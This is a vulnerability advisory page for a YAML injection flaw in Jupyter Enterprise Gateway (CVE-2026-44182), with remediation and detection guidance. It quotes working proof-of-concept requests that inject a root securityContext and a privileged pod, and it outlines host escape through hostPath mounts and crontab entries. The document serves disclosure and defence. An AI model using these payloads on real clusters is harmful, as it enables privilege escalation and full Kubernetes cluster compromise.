CVE-2026-44182: Enterprise Gateway: YAML injection → K8s cluster takeover

GHSA-cfw7-6c5v-2wjq CRITICAL
Published June 3, 2026
CISO Take

Jupyter Enterprise Gateway contains a critical YAML injection flaw in its Kubernetes manifest renderer: untrusted KERNEL_XXX environment variables supplied by API callers are interpolated into Jinja2 pod templates without escaping, allowing attackers to overwrite pod security contexts — elevating containers to root — or inject multi-document YAML separators to create fully independent privileged Kubernetes resources. With 1,872 downstream dependents, a working proof-of-concept published in the GitHub security advisory, and an OpenSSF Scorecard of only 5.2/10 signaling persistent security hygiene issues, any organization running Jupyter on Kubernetes for AI/ML workloads faces realistic risk of full cluster compromise: repeated exploitation can pivot from a single injected privileged pod to all worker nodes via hostPath mounts and kernel module loading. Upgrade to jupyter_enterprise_gateway 3.3.0 immediately; if patching is delayed, firewall the Gateway API port from untrusted networks and monitor kernel namespaces for unexpected pods with privileged securityContexts.

Sources: GitHub Advisory NVD OpenSSF ATLAS

What is the risk?

Critical. The attack requires only HTTP access to the Enterprise Gateway API endpoint and no AI/ML knowledge whatsoever, placing it firmly in the trivially exploitable category for any attacker with network reach. The blast radius is severe: successful exploitation grants root-level container execution, Kubernetes resource creation across six privileged resource types (Pod, Secret, PersistentVolumeClaim, PersistentVolume, Service, ConfigMap), and multiple container escape vectors — hostPath R/W mounts combined with root access enable crontab injection on the host, and privileged pod mode enables kernel module loading. Multi-tenant AI/ML platforms (JupyterHub enterprise deployments, cloud-native data science workbenches) running on shared Kubernetes clusters face the highest exposure, as a single malicious API call can compromise the entire cluster and all ML workloads running on it.

Attack Kill Chain

API Access
Attacker sends a crafted POST to /api/kernels with KERNEL_XXX environment variables containing embedded YAML line breaks and injected field content.
AML.T0049
YAML Injection
Enterprise Gateway's Jinja2 template interpolates the unsanitized KERNEL_WORKING_DIR value into the Kubernetes pod manifest, injecting malicious securityContext fields and document boundary separators.
AML.T0050
Privilege Escalation
Kubernetes parses the poisoned multi-document manifest and creates a privileged pod with runAsUser: 0 and a hostPath volume mount granting read-write access to the worker node's root filesystem.
Cluster Compromise
Attacker leverages root host filesystem access to establish persistent execution on the node (via crontab injection or kernel module loading), then pivots laterally to compromise additional nodes and the full cluster.
AML.T0105

What systems are affected?

Package Ecosystem Vulnerable Range Patched
jupyter_enterprise_gateway pip < 3.3.0 3.3.0
13.2K OpenSSF 5.2 1.9K dependents Pushed 5d ago 77% patched ~12d to patch Full package profile →

Do you use jupyter_enterprise_gateway? You're affected.

Severity & Risk

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What should I do?

5 steps
  1. Patch immediately: upgrade to jupyter_enterprise_gateway>=3.3.0, which introduces YAML-aware escaping for kernel environment variables.

  2. Restrict API access: firewall the Enterprise Gateway port and require authenticated access — never expose the API to untrusted networks or the public internet.

  3. Reduce attack surface: disable EG_MIRROR_WORKING_DIRS (set mirrorWorkingDirs: false in the Helm chart) if working directory mirroring is not required — this eliminates the KERNEL_WORKING_DIR injection vector specifically.

  4. Detect exploitation: monitor Kubernetes audit logs for unexpected pod creation in kernel namespaces; alert on any pod spec containing privileged: true, runAsUser: 0, or unexpected hostPath volume mounts created by the Enterprise Gateway service account.

  5. Audit existing workloads: inspect all running pods in kernel namespaces for anomalous specs that may indicate prior exploitation before patching.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2 - AI risk management A.8.2 - AI system security
NIST AI RMF
MS-2.5 - Practices and procedures to address AI risks
OWASP LLM Top 10
LLM08 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-44182?

Jupyter Enterprise Gateway contains a critical YAML injection flaw in its Kubernetes manifest renderer: untrusted KERNEL_XXX environment variables supplied by API callers are interpolated into Jinja2 pod templates without escaping, allowing attackers to overwrite pod security contexts — elevating containers to root — or inject multi-document YAML separators to create fully independent privileged Kubernetes resources. With 1,872 downstream dependents, a working proof-of-concept published in the GitHub security advisory, and an OpenSSF Scorecard of only 5.2/10 signaling persistent security hygiene issues, any organization running Jupyter on Kubernetes for AI/ML workloads faces realistic risk of full cluster compromise: repeated exploitation can pivot from a single injected privileged pod to all worker nodes via hostPath mounts and kernel module loading. Upgrade to jupyter_enterprise_gateway 3.3.0 immediately; if patching is delayed, firewall the Gateway API port from untrusted networks and monitor kernel namespaces for unexpected pods with privileged securityContexts.

Is CVE-2026-44182 actively exploited?

No confirmed active exploitation of CVE-2026-44182 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44182?

1. Patch immediately: upgrade to jupyter_enterprise_gateway>=3.3.0, which introduces YAML-aware escaping for kernel environment variables. 2. Restrict API access: firewall the Enterprise Gateway port and require authenticated access — never expose the API to untrusted networks or the public internet. 3. Reduce attack surface: disable EG_MIRROR_WORKING_DIRS (set mirrorWorkingDirs: false in the Helm chart) if working directory mirroring is not required — this eliminates the KERNEL_WORKING_DIR injection vector specifically. 4. Detect exploitation: monitor Kubernetes audit logs for unexpected pod creation in kernel namespaces; alert on any pod spec containing privileged: true, runAsUser: 0, or unexpected hostPath volume mounts created by the Enterprise Gateway service account. 5. Audit existing workloads: inspect all running pods in kernel namespaces for anomalous specs that may indicate prior exploitation before patching.

What systems are affected by CVE-2026-44182?

This vulnerability affects the following AI/ML architecture patterns: Jupyter/JupyterHub on Kubernetes, ML training pipelines, Multi-tenant notebook environments, AI/ML development infrastructure, Kubernetes-based model serving.

What is the CVSS score for CVE-2026-44182?

No CVSS score has been assigned yet.

AI Security Impact

Affected AI Architectures

Jupyter/JupyterHub on KubernetesML training pipelinesMulti-tenant notebook environmentsAI/ML development infrastructureKubernetes-based model serving

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0049 Exploit Public-Facing Application
AML.T0050 Command and Scripting Interpreter
AML.T0105 Escape to Host

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2, A.8.2
NIST AI RMF: MS-2.5
OWASP LLM Top 10: LLM08

Technical Details

Original Advisory

### Summary The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like `securityContext` and inject multi-document YAML to create additional unintended Kubernetes resources. ### Details The server interpolates untrusted environment variables (e.g., `KERNEL_XXX`) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate `securityContext` keys, where the last one prevails), and inject document boundaries (`---` for new documents, `...` for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods. The Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for YAML injection. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77 These values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137 ### PoC These proof of concepts are injecting in the `KERNEL_WORKING_DIR` env var, but any of the env vars could have been used. By default, the `KERNEL_WORKING_DIR` will be ignored unless `EG_MIRROR_WORKING_DIRS` is truthy for the `enterprise-gateway`. This is controlled by the `mirrorWorkingDirs` value in the Helm chart. Using `ducaale/xh`: ```bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml ``` `env-working-dir-exploit.yaml`: ```json { "KERNEL_POD_NAME": "working-dir-root", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } ``` Resulting request: ``` POST /api/kernels HTTP/1.1 Accept: application/json, */*;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Connection: keep-alive Content-Length: 233 Content-Type: application/json Host: localhost:31529 User-Agent: xh/0.24.0 { "env": { "KERNEL_POD_NAME": "working-dir-root", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } } ``` Curl equivalent command: ```bash curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{"env":{"KERNEL_POD_NAME":"working-dir-root","KERNEL_NAMESPACE":"notebooks","KERNEL_WORKING_DIR":"\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \""}}' ``` The rendered Jinja2 template: ```yaml # This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes. # Substitution parameters are processed by the launch_kubernetes.py code located in the # same directory. Some values are factory values, while others (typically prefixed with 'kernel_') can be # provided by the client. # # This file can be customized as needed. No changes are required to launch_kubernetes.py provided kernel_ # values are used - which be automatically set from corresponding KERNEL_ env values. Updates will be required # to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced. # apiVersion: v1 kind: Pod metadata: name: "working-dir-root" namespace: "notebooks" labels: kernel_id: "186f4ecf-bf90-40b8-b210-a0987bfce927" app: enterprise-gateway component: kernel source: kernel-pod.yaml annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" spec: restartPolicy: Never serviceAccountName: "default" # NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled. # WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate # will result in the new kernel pod's effective group of 0 (root)! although the user will # correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate # should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so # that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the # "kernel_uid" and "kernel_gid" values. securityContext: runAsUser: 1000 runAsGroup: 100 fsGroup: 100 containers: - image: "elyra/kernel-py:3.2.3" name: "working-dir-root" env: # Add any custom envs here that aren't already configured for the kernel's environment # - name: MY_CUSTOM_ENV # value: "my_custom_value" workingDir: "/tmp" # INJECTION securityContext: runAsUser: 0 runAsGroup: 0 fsGroup: 100 # HAHA - stray quote " volumeMounts: # Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: # Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client ``` Normally the container would run as `uid=1000(jovyan) gid=100(users) groups=100(users)`. This injects a pod `securityContext` with `runAsUser: 0` and `runAsGroup: 0` (and `fsGroup: 100`). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as `uid=0(root) gid=0(root) groups=0(root),100(users)`. In addition to injecting a pod level `securityContext` it is also possible to inject a container level `securityContext` which supports the `privileged` field. #### Injecting a Pod By injecting `...` and `---` it is possible to use multi-document YAML to inject Kubernetes resources. ```bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml ``` `env-working-dir-exploit-pod.yaml`: ```json { "KERNEL_POD_NAME": "working-dir-root-pod", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n name: injected-pod\\n\\\n spec:\\n containers:\\n - name: injected-container\\n image: nginx\\n ports:\\n - containerPort: 80\\n securityContext:\\n privileged: true\\n runAsUser: 0\\n runAsGroup: 0\\n...\\n# HAHA - stray quote\"" } ``` This is rendered as (skipping the beginning of the rendering before the inject): ```yaml workingDir: "/tmp" # INJECTION ... --- apiVersion: v1 kind: Pod metadata: name: injected-pod spec: containers: - name: injected-container image: nginx ports: - containerPort: 80 securityContext: privileged: true runAsUser: 0 runAsGroup: 0 ... # HAHA - stray quote" volumeMounts: # Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: # Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client ``` `kubectl get pods -n notebooks` ``` NAME READY STATUS RESTARTS AGE injected-pod 1/1 Running 0 4s working-dir-root-pod 1/1 Running 0 4s ``` The `injected-pod` has been created in addition to the `working-dir-root-pod`. `kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}'`: ```json { "privileged": true, "runAsGroup": 0, "runAsUser": 0 } ``` ### Impact An attacker can create pods running with arbitrary, `image`, `securityContext`, and `volumeMounts` including `hostPath` mounts. Privileged pods can be created. Arbitrary Kubernetes resources of kinds: `Pod`, `Secret`, `PersistentVolumeClaim`, `PersistentVolume`, `Service`, and `ConfigMap` can be created. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a `hostPath` R/W volume mount, use the injected `securityContext` to run as `root`, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.

Exploitation Scenario

An attacker with access to the Enterprise Gateway API — a malicious platform user, a compromised Jupyter session, or an external attacker if the API is network-exposed — crafts a POST to /api/kernels with a KERNEL_WORKING_DIR value embedding YAML line breaks and injected securityContext fields. The Gateway's Jinja2 template interpolates this value unescaped into the Kubernetes pod manifest, producing valid multi-document YAML: the first document overwrites the legitimate pod's securityContext with runAsUser: 0, and injected document separators (--- and ...) cause Kubernetes to parse and apply a second fully independent pod spec with privileged: true and a hostPath volume mounting the worker node's root filesystem at /host. The injected pod starts within seconds; the attacker mounts the host filesystem read-write, writes a crontab entry to the host's /etc/cron.d directory, and achieves persistent root-level code execution on the underlying worker node — enabling lateral movement to additional nodes and full cluster compromise including theft of all secrets, model artifacts, and training data.

Timeline

Published
June 3, 2026
Last Modified
June 3, 2026
First Seen
June 4, 2026

Related Vulnerabilities